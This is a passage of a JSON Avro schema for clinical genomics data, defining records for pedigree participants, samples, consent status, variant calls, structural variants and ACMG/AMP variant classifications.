"name": "ParticipantQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null",
"string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols":
["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null",
{"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type":
["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name":
"motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"],
"doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup",
"type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum",
"name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name":
"adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols":
["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null",
{"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED",
"UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type":
["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum",
"name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc":
""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""},
{"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease",
"type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""},
{"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber",
"type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record",
"name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum",
"name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name":
"progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE",
"NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity",
"symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern",
"type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED",
"LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum",
"name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET",
"INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET",
"MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type":
"record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type":
["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A",
"B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name":
"mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name":
"fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name":
"ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "",
"default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default":
false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false},
{"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""},
{"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample",
"fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int",
"doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null",
{"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId",
"type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version",
"type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name":
"coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"],
"doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields":
[{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string",
"doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name":
"reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string",
"doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name":
"specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum",
"name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""},
{"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type":
["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory",
"type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name":
"maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values":
{"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name":
"interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum",
"name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation",
"low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype",
"high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc",
"suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample",
"missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors",
"internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription",
"type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null",
{"type": "map", "values": "string"}], "doc": ""}]}}, {"name": "tieringResult", "type": ["null",
{"type": "record", "name": "InterpretedGenome", "doc": "", "fields": [{"name": "versionControl",
"type": "ReportVersionControl", "doc": ""}, {"name": "interpretationRequestId", "type": "string",
"doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name":
"interpretationService", "type": "string", "doc": ""}, {"name": "reportUrl", "type": ["null",
"string"], "doc": ""}, {"name": "variants", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "SmallVariant", "doc": "", "fields": [{"name": "variantCoordinates", "type":
{"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome",
"type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference",
"type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name":
"assembly", "type": "Assembly", "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type":
"array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name":
"participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""},
{"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols":
["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type":
"record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string",
"doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array",
"items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id",
"type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc":
""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name":
"modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols":
["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted",
"monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic",
"monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic",
"mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type":
"array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type",
"type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region",
"gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""},
{"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type":
["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""},
{"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name":
"segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols":
["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo",
"InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted",
"InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous",
"XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name":
"penetrance", "type": ["null", "org.gel.models.participant.avro.Penetrance"], "doc": ""}, {"name":
"deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype",
"type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc":
""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer",
"type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "",
"symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type":
["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name":
"studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""},
{"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate",
"type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""},
{"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols":
["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}],
"doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum",
"name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological",
"radiation", "behavioral", "genetic", "dietary_supplement", "combination_product",
"diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc":
""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose",
"doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening",
"health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name":
"studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols":
["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type":
"org.gel.models.participant.avro.Sex"}, {"name": "ageRange", "type": ["null", {"type": "record",
"name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type":
"int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years",
"months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields":
[{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]},
{"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}],
"doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields":
[{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null",
{"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis",
"favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null",
"string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl",
"type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name":
"references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name":
"drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification",
"symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity",
"altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity",
"reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication",
"contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring",
"increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name":
"otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""},
{"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score",
"type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type":
"record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance",
"type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign",
"likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""},
{"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""},
{"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation",
"symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele",
"protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type":
"enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}],
"doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name":
"VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant",
"lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc":
""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type":
"record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name":
"acmgVariantClassification", "type": ["null", {"type": "record", "name":
"AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type":
"array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name":
"category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols":
["population_data", "computational_and_predictive_data", "functional_data", "segregation_data",
"de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type",
"type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening",
"pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name":
"AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong",
"very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description",
"type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type":
"ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name":
"ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification",
"doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record",
"name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name":
"AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies",
"potential_germline", "population_database_presence", "germline_database_presence",
"somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]},
"doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name":
"ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII",
"tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc":
"", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis",
"prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC",
"levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc":
""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name":
"algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName",
"type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name":
"rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc":
""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "",
"symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""},
{"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1",
"DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""}, {"name": "variantAttributes",
"type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name":
"genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc":
""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""},
{"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers",
"fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type":
"array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name":
"study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name":
"alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name":
"additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc":
""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""},
{"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type":
["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name":
"others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]}}], "doc": ""},
{"name": "structuralVariants", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "StructuralVariant", "fields": [{"name": "variantType", "type": {"type": "enum", "name":
"StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem",
"del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name":
"Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type":
"string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart",
"type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left",
"type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null",
"ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields":
[{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference",
"type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info",
"type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type":
{"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name":
"leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"},
{"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start",
"start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates",
"type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}},
{"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name":
"variantAttributes", "type": ["null", "VariantAttributes"]}, {"name":
"shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name":
"ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"},
{"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name":
"uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name":
"chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc":
""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols":
["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type":
["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment",
"fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name":
"uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols":
["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type":
"record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name":
